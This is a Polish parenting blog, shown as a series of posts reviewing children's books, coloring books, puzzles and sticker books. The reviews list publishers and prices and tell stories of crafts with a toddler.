Jesienią zdecydowanie więcej czasu spędzamy z dziećmi w domu niż na dworze. Niestety chłodna i deszczowa aura za oknem nie zachęca do spacerów i zabawy na świeżym powietrzu. Nic więc dziwnego, że szukamy pomysłów na spędzenie czasu z dzieckiem. W takich chwilach z pomocą przychodzi nam wydawnictwo AWM, które stworzyło kreatywny zeszyt Jesień z Jeżykiem.Jestem pod naprawdę dużym wrażeniem zawartości tej niepozornej książeczki. Spodziewałam się kilku kolorowanek z naklejkami i to wszystko, a tu na kilkunastu stronach znajdziemy nie tylko zadania z użyciem rozmaitych naklejek i kolorowanki ale również origami, przestrzenne zwierzęta leśne, pomysły na tworzenie kasztanowych ludzików czy też ozdobny dekoracyjny wieniec, który złożymy z elementów znajdujących się w książeczce.Seria edukacyjna dla dzieci w wieku 4–6 lat, w której skład wchodzi ta publikacja:rozwija umiejętność myślenia i kojarzenia,ćwiczy spostrzegawczość i kreatywność,pomaga w nauce liczenia i pisania.Duża ilość ciekawych zabaw i pomysłów to niewątpliwy atut książki Jesienne zabawy z Jeżykiem. Trzeba jednak też pogratulować twórcom jej wykonania. Piękne barwne i przyjemne dla oka grafiki, gruby i dobry jakościowo papier oraz dość duży (jak na tego typu publikacje) format zdecydowanie zasługują na słowa uznania. Brawo! Świetna, przystępna cenowo i kreatywna pozycja.Wydawnictwo: AWMAutor: opracowanie zbioroweRok wydania: 2015Stron: 16 + naklejki + wkładka z jesiennymi ozdobamiFormat: 19,5 cm x 26,5 cmOprawa: miękkaSugerowany przedział wiekowy: od 4 do 6 latCena na okładce: 9,99 złCena w aros.pl: 6,99 złCo o książce pisze wydawnictwo?Witamy w jesiennej krainie. Zapraszamy na spacer do pachnącego lasu lub parku! Jesień już się tam zadomowiła na dobre! Wszędzie pełno bajecznie kolorowych liści, kasztanów, żołędzi, grzybów i… zabawy. Dzięki zadaniom wyczarujesz z papieru wspaniałe jesienne dekoracje. Dodatkowo zadania na spostrzegawczość, labirynty, naklejki i wspaniałe papiery do składania.Dla nas jest na takie zabawy odrobinę za wcześnie. Jednak przedstawiana dziś przeze mnie książeczka zainspirowała mnie i zachęciła do zaproponowania Olusiowi zabawy związanej z jesiennymi klimatami. Niewiele się zastanawiając wczoraj popołudniu zagniotłam wspólnie z Olusiem masę solną i stworzyliśmy małe kolczaste jeżyki. W internecie widziałam taki pomysł z użyciem makaronu do spaghetti, jednak nie mieliśmy go w tej chwili w domu i zastąpiłam go wykałaczkami.Oluś nie próbował jeść masy solnej ani wkładać wykałaczek do buzi. Ten etap mamy już za sobą.  Za to chętnie dotykał wykałaczek i dziwił się, że kłują. Nie wystraszył się tego odczucia raczej był nim zaciekawiony i lekko rozbawiony.Miałam pewne obiekcje czy nie jest za wcześnie na tego typu zabawy i powiem szczerze, że dobrze, że jednak się odważyłam. Oli od razu wiedział co robić, po prostu instynktownie wziął wykałaczkę i zaczął ją wbijać w masę. Po chwili, kiedy wytłumaczyłam mu czym ta masa jest i gdzie jest głowa, a gdzie tułów, nie wbijał już kolców w głowę małego jeża. :) Teraz już odważniej będę podsuwać Olusiowi różne plastyczne i manualne nowości.Pokazałam Wam również wczoraj na naszym fan page na Facebooku nowy zestaw sztućców Olusia (http://ostry-sklep.pl/p/32/3017/sztucce-dla-dzieci--sztucce.html). Miałam co do niego pewne wątpliwości, ponieważ jego elementy są dość ciężkie oraz szerokie i płytkie. Jednak z racji tego, że dzieci lubią nas zaskakiwać, Oli chętniej wybiera je niż standardowe sztućce dla dorosłych.

Mały ceramik. Poradnik dla nauczycieli i rodziców.

KIEDY MAMA NIE ŚPI

Mały ceramik. Poradnik dla nauczycieli i rodziców.

Miałam kiedyś okazję uczestniczyć w warsztatach tworzenia ceramiki w pracowni z profesjonalnym piecem, kołami garncarskimi i całym technicznym osprzętem. Bardzo mi się ta forma plastyczna spodobała jako nastolatce. Niestety wszystkie przedmioty niezbędne do tworzenia ceramiki były dla mnie finansowo niedostępne. Tak myślałam do chwili kiedy przeczytałam tą książkę i zrozumiałam, że tego typu piękne przedmioty możemy tworzyć również w naszych domach. Niewierzycie? Zobaczcie sami!Na rynku dostępne są różnego rodzaju masy i gliny, które można wypiekać nawet w temperaturze stu stopni. Dodatkowo nie trzeba od razu kupować hurtowych ilości, bo w ofertach sklepów znajdziemy na przykład półkilogramowe opakowania. Żeby było jeszcze ciekawiej. Niezbędne narzędzia przydatne przy tworzeniu ceramiki każdy z nas ma w swoim domu. Grzebyki do tortów, wałek do ciasta, patyczki do szaszłyków lub wykałaczki, spryskiwacz do wody, miski czy rolki po ręcznikach papierowych rewelacyjnie zastąpią dość drogie profesjonalne narzędzia.Lepienie w glinie:rozwija wyobraźnię przestrzenną,to ćwiczenie sprawności ruchowej i manualnej,jest dla dziecka bodźcem do rozwoju intelektualnego, rozwoju postrzegania i wyobraźni,wzmacnia dynamikę relacji między dziećmi i rodzicami,wpływa na gromadzenie doświadczeń twórczych i poznawczychrozwija myślenie abstrakcyjne,pomaga dzieciom skoncentrować się na własnych myślach i uczuciachźródłoMoim zdaniem jest to świetna pozycja zarówno do biblioteczki domowej jak i dydaktycznej biblioteczki nauczycieli szkół i przedszkoli. To bardzo przystępne wprowadzenie do świata ceramiki z czytelnymi instruktażowymi ilustracjami i świetnymi opisami tworzenia przykładowych prac. Według osób, które prowadzą warsztaty ceramiczne i pracują z gliną, tego typu aktywność mogą podejmować już trzyletnie dzieci. Oczywiście w ich przypadku glina/masa powinna być dostosowana do ich możliwości zarówno pod względem wielkości porcji wyrabianego materiału jak i jego poziomu twardości.Polecam!Wydawnictwo: ArkadyAutor: Elżbieta DasRok wydania: 2015Stron: 184Format: 20,5 x 26 cmOprawa: miękkaCena na okładce: 39,90 złCena w aros.pl: 27,93 złCo o książce pisze wydawnictwo?Ta książka to skarbnica pomysłów i nieograniczone źródło energii twórczej. Autorka dzieli się w niej swoją wiedzą i doświadczeniem zdobytym podczas prowadzenia warsztatów ceramicznych z dziećmi. Zamieszcza podstawowe informacje dotyczące gliny i jej obróbki w formie łatwo zrozumiałej dla dzieci oraz praktyczne wskazówki i podpowiedzi dla nauczycieli i rodziców prowadzących prace plastyczne i terapię zajęciową z dziećmi.

Zwrotki dla Dorotki. Arcyksiążę fiołków.

KIEDY MAMA NIE ŚPI

Zwrotki dla Dorotki. Arcyksiążę fiołków.

Wiersze to, to co wiele dzieci wręcz uwielbia. Wiersze zazwyczaj są pierwszą przygodą czytaną przez rodziców. Melodyjne, przyjemne dla ucha i niejednokrotnie zabawne. Nic dziwnego, że skradły już tyle dziecięcych serc.Ten zbiór wierszy  Jana Sztaudyngera to nie tylko fajne dziecięce wiersze łączące się w spójną całość ale i piękne, bajecznie kolorowe ilustracje. Oli sam chętnie ją ogląda. Już całkiem dobrze radzi sobie ze zwykłymi giętkimi kartkami. Chętnie pokazuje też postacie, przedmioty i inne elementy znajdujące się na obrazkach, a ja w tym czasie jestem w stanie przeczytać spokojnie cały tekst znajdujący się na dwustronicowej rozkładówce.Zarówno na mnie jak i na Olusiu ta lektura wywarła naprawdę pozytywne wrażenie i myślę, że jest to książka, do której będziemy wracać nie raz. Czuć w niej uczucia łączące tytułową Dorotkę i jej dziadka pełne ciepła, spokoju i miłości. Przez chwilę przenosimy się do sielankowego krajobrazu wsi i ogrodu, w którym wychowywała się wnuczka autora. To naprawdę niezwykłe uczucie. Polecam wszystkim amatorom wierszy, pięknych ilustracji i wiejskich klimatów.Wydawnictwo: Wydawnictwo LiterackieAutor: Jan SztaudyngerIlustracje:  Jona JungRok wydania: 2015Stron: 64Format: 23 x 23 cmOprawa: twardaSugerowany przedział wiekowy: od 3 latCena na okładce: 29,90 złCena w aros.pl: 20,93 złCo o książce pisze wydawnictwo?Zbiór wierszy dla dzieci Jana Sztaudyngera, uznanego fraszkopisarza, autora słynnych „piórek”. Po dziecięcych strofach młodych czytelników oprowadzać będzie Dorotka, postać wzorowana na wnuczce poety, dla której przed laty powstawały te niezwykłe wiersze. W bogato ilustrowanej przez Jonę Jung książce znajdą się utwory pochodzące m.in. z tomów: Moja wnuczka, Zwrotki dla Dorotki, Dróżką przed siebie, Kasztanki, Narodziny obłoczka czy Muchomory. Nie zabraknie też wierszy dotąd mało znanych, jak odnaleziony niedawno przez Piotra Kasperczaka  w czasopiśmie „Tęcza” z 1930 roku Konik polny.Macie w domu małych wielbicieli Brzechwy i Tuwima?Z pewnością pokochają też wiersze Jana Sztaudyngera!

Zaczarowany las. Koloruj, szukaj symboli, odkryj tajemnicę.

KIEDY MAMA NIE ŚPI

Zaczarowany las. Koloruj, szukaj symboli, odkryj tajemnicę.

Polskie przysłowie głosi, że dzieci i szklanek nigdy za wiele. Ja pokuszę się o swierdzenie, że kolorowanek dla dzieci i dorosłych nigdy za wiele. Dziś kolejna pozycja autorstwa Johanny Barford, wyjątkowej kobiety i ilustratoski, wspaniały Zaczarowany las.Dziś pomilczę i pokażę Wam kilka pięknych ilustracji do kolorowania z tej książki. Mnie ona urzekła. Nic dziwnego, gdyż na chwilę obecną Johanna Basford jest moim ulubionym autorem kolorowanek dla dorosłych. Każda kolejna jej publikacja zachwyca jeszcze bardziej. Tym razem udamy się wraz z nią do zaczarowanego lasu pełnego magii i tajemnic.Papier jest gruby i dobry jakościowo, choć nadal nie idealnie biały. Szkoda, bo lepiej odzwierciedlałby kolory kredek, mazaków i cienkopisów. To niewielki minus książki, na który można przymknąć oko. Wydawnictwo: Nasza KsięgarniaIlustrator: Johanna BasfordRok wydania: 2015Stron: 96Format: 24 x 24 cmOprawa: broszurowaSugerowany przedział wiekowy: od 6 do 100 latCena na okładce: 24,90 złCena w aros.pl: 19,92 złCo o książce pisze wydawnictwo?Kontynuacja bestsellerowego "Tajemnego ogrodu" – najpopularniejszej książki do kolorowania na świecie. Witaj w zaczarowanym lesie! Znajdziesz tu rysunki do wypełnienia kolorem, niezwykłe stworzenia i magiczne przedmioty – w tym dziewięć symboli potrzebnych, by odkryć tajemnicę zamku. Nieważne, ile masz lat. Nieważne, kim jesteś – artystą, królem tej krainy czy poszukiwaczem przygód. Wpadnij do króliczej nory i odkryj czarno-białą magię...

5 słodkich pomysłów na Halloween.

KIEDY MAMA NIE ŚPI

5 słodkich pomysłów na Halloween.

Odkrywam kwadrat i trójkąt

KIEDY MAMA NIE ŚPI

Odkrywam kwadrat i trójkąt

Nasza przygoda z puzzlami i poznawaniem kształtów nabiera tempa. Owszem każdy dzień Oli rozpoczyna od przeglądu książek i obowiązkowego tańca przy muzyce z radia ale coraz częściej udaje się zająć go na chwilę zabawą, taką jak puzzle właśnie, które wpływają na rozwój spostrzegawczości i kreatywności dziecka oraz pomagają budować jego wiarę we własne możliwości.Tym razem nie zobaczycie dziecka, które grzecznie siedzi na krzesełku przy swoim stoliku. Olusia ostatnio roznosi wręcz energia, więc puzzlami Odkrywam kwadrat i trójkąt od CzuCzu bawiliśmy się na łóżku w dość niekonwencjonalny sposób. Taką formą Oli wybrał sam a ja mu w tym nie przeszkadzałam. W końcu miał się dobrze bawić i przy okazji czegoś nauczyć. Czy udało nam się zrealizować plan? Jak najbardziej!Jak widać akrobacje i próby wykonania szpagatu nie przeszkadzały Olusiowi w dopasowywaniu kształtów. O dziwo załapał w mig różnicę pomiędzy trójkątem a kwadratem i nie wpychał na przykład kwadratów w trójkątne otwory. Warto zaznaczyć, że wielkim plusem tych puzzli jest nie tylko to, że są grube i twarde, ale również to, że otwory w kształcie trójkąta i kwadratu są uniwersalne, więc każdy element o danym kształcie włożymy w dowolny ten sam kształt w ramce. Olusia irytowało jednak w tej zabawie uciekanie puzzli na miękkim łóżku. No cóż. Nie można mieć wszystkiego. Za to poskakać można było do woli!Szczerze? Czasem nie rozumiem dziecięcej fascynacji i zachowań. Oli nie wypuszczał puzzli z rąk, skakał z nimi, turlał się, wchodził i schodził z łóżka z puzzlami w dłoni. Śmiem twierdzić, że są nadzwyczaj dobrze dopasowane do dziecięcych rączek. Chyba jacyś mali pomocnicy musieli pomagać przy ich tworzeniu.Nie będę się tu rozpisywać u zaletach układania puzzli przez dzieci. Każdy z Was zapewne świetnie o tym wie i stara się podsuwać swoim pociechom ten rodzaj zabawek. Nie przejmujcie się jeśli inne dzieci układają już puzzle kilku elementowe, a Wasze dziecko jedynie nimi rzuca, gryzie je czy depcze. Po prostu to w tym momencie sprawia mu frajdę. Przyjdzie czas kiedy dziecko odkryje do czego służą puzzle, a wtedy będziecie układali po kilkanaście razy pod rząd tę samą układankę z dzieckiem tryskającym radością, skupionym, zaciekawionym  i szczęśliwym z udanej próby połączenia elementów. Każdy etap rozwoju dziecka jest piękny i cieszmy się nim póki trwa, bo już nie wróci, a co ma nastąpić to nie ucieknie i wydarzy się prędzej czy później.Wydawnictwo: CzuCzuSugerowany przedział wiekowy: 18 miesięcy +Cena na opakowaniu: 24,90 złCena w aros.pl: 17,43 złCo o grze pisze wydawnictwo?Odkrywam Kwadrat i trójkąt to komplet ośmiu wytrzymałych, dwustronnych puzzli. Dopasowane do rączek malucha elementy gwarantują radość z każdego połączenia. Zabawa w układanie puzzli rozwija umiejętność logicznego myślenia i kojarzenia oraz ćwiczy koordynację wzrokowo – ruchową. Wspólne układanie puzzli to świetny sposób na spędzenie czasu i pogłębianie wzajemnych relacji.A Wasze dzieci lubią układać puzzle? Mają swoje ulubione?

Moje pierwsze naklejanki. Moje ulubione zwierzęta oraz Brum, brum!

KIEDY MAMA NIE ŚPI

Moje pierwsze naklejanki. Moje ulubione zwierzęta oraz Brum, brum!

Już nie raz Wam wspominałam, że Oluś uwielbia wszelkie prace plastyczne i tym samym związane z rozwojem manualnym. Obecnie ma 22 miesiące i rozpoczyna swoją przygodę z naklejkami. Dziś pokażę Wam nasze rozwiązanie idealne, najlepsze moim zdaniem, pierwsze naklejanki dla najmłodszych.Już na pierwszy rzut oka zachwycają piękne karty z ilustracjami, na których dziecko będzie przyklejało naklejki. W książce Moje ulubione zwierzęta znajdziecie scenerie przedstawiające między innymi wnętrze domu, krajobraz sawanny, łąki czy głębin morskich. Do każdej z tych ilustracji na dodatkowych stronach znajdują się opisane naklejki zwierząt pasujące do danego obrazka.Przy każdej naklejce znajduje się jego nazwa oraz numery stron, na których znajdują się ilustracje, do których one pasują. Jest to swego rodzaju ułatwienie, które pomoże nam przy okazji zabawy w przyklejanie naklejek uczyć dziecko w jakim środowisku dane zwierzę żyje.Cała książka, a raczej zeszyt kreatywny wykonany jest z bardzo grubego, giętkiego i śliskiego papieru. Dzięki czemu dziecko z łatwością może samodzielnie przekładać jego strony i uwaga! naklejać i odklejać naklejki wiele razy. Tak, to właśnie ten element najbardziej urzekł mnie w tej książce, możliwość wieloktornego przyklejania i odklejania naklejek to strzał w dziesiątkę.Oli swoją przygodę z naklejaniem rozpoczął od przestrzennym grubych ale drobnych naklejek kupionych przeze mnie już jakiś czas temu w Biedronce. Właśnie wtedy zauważyłam, że nie tylko przyklejanie ale i odklejanie, a później ponowne przyklejanie naklejek sprawia mu wielką radość. Możecie sobie wyobrazić jak bardzo ucieszyły mnie te dwie książeczki. Niestety większość zeszytów kreatywnych z naklejkami lub książek naklejanek nie posiada tej możliwości. Naklejka raz naklejona pozostaje już na swoim miejscu na zawsze.W książeczce Brum, brum! znajdziemy natomiast ilustracje dotyczące szerokorozumianych pojazdów. Tak więc, pojawi się tutaj tor wyścigowy, pole, plac budowy czy stok narciarski. Oczywiście, podobnie jak w przypadku poprzedniej publikacji na oddzielnych stronach znajdziemy opisane naklejki takich pojazdów jak: walec, traktor czy ratrak.Tu z dopasowaniem naklejek do ilustracji może być już trudniej, więc książka ta może okazać się nie lada atrakcją nawet dla kilkulatka. To właśnie lubię w naklejankach, one są ponad podziałami wiekowymi. Maluszek będzie się cieszył z samego naklejania, dotykania klejącej powierzchni i oglądania kolorowych ilustracji, a starszak będzie mógł wykazać się precyzją, dokładnością i znajomością danej tematyki.Polecam, polecam i jeszcze raz polecam!Wydawnictwo: SiedmiorógAutor: Tamara MichałowskaIlustracje: Aky-Aka CréationsRok wydania: 2015Stron: 16Format: 16,5 cm x 23,5 cmOprawa: miękkaSugerowany przedział wiekowy: od 0 do 3 latCena na stronie wydawnictwa: 9,99 złCena w aros.pl: brakCo o książce pisze wydawnictwo?Moje ulubione zwierzęta to książeczka edukacyjna o zwierzętach dla dwulatków i trzylatków. A do tego z nalepkami wielokrotnego użycia. Tego jeszcze nie było! Małe pociechy odkryją na rozkładówkach tej pięknej książki 9 różnych scenerii przedstawiających środowiska naturalne zwierząt: domowe podwórko, wiejską zagrodę, kwitnącą łąkę, las europejski, afrykańską sawannę, afrykańską dżunglę, amerykańskie stepy, krąg polarny, pejzaż górski. Zadaniem malucha jest naklejenie w odpowiednich sceneriach ponad 40 zwierząt-nalepek wielokrotnego użytku. Dodatkowo dziecko pozna nazwę każdego zwierzęcia, bo nalepki są podpisane, jak w małej encyklopedii. Piękne rysunki o łagodnych zaokrągleniach i ciepłych kolorach są dostosowane do wrażliwości najmłodszych dzieci. Dynamiczne i różnorodne kompozycje pobudzają wyobraźnię, poszerzają wiedzę i zwiększają radość z zabawy. Dzięki specjalnemu powlekanemu papierowi nalepki można naklejać wielokrotnie, co sprawi, że zabawa trwać będzie w nieskończoność!Brum, brum! to książeczka edukacyjna o samochodach i pojazdach dla dwulatków i trzylatków. Małe pociechy odkryją na rozkładówkach tej pięknej książki 9 różnych scenerii, w których pracują i poruszają się różnego typu pojazdy na czterech kółkach, między innymi miejską ulicę, budowę domu, budowę autostrady, tor wyścigowy, wiejski pejzaż, nadmorski bulwar w czasie wakacji, dziecięcy pokój chłopca, który uwielbia bawić się samochodami. Zadaniem malucha jest naklejenie w odpowiednich sceneriach ponad 40 samochodów i pojazdów – nalepek wielokrotnego użytku. Dodatkowo dziecko pozna nazwę każdego pojazdu, bo nalepki są podpisane, jak w małej encyklopedii.Wpis boierze udział w projekcie: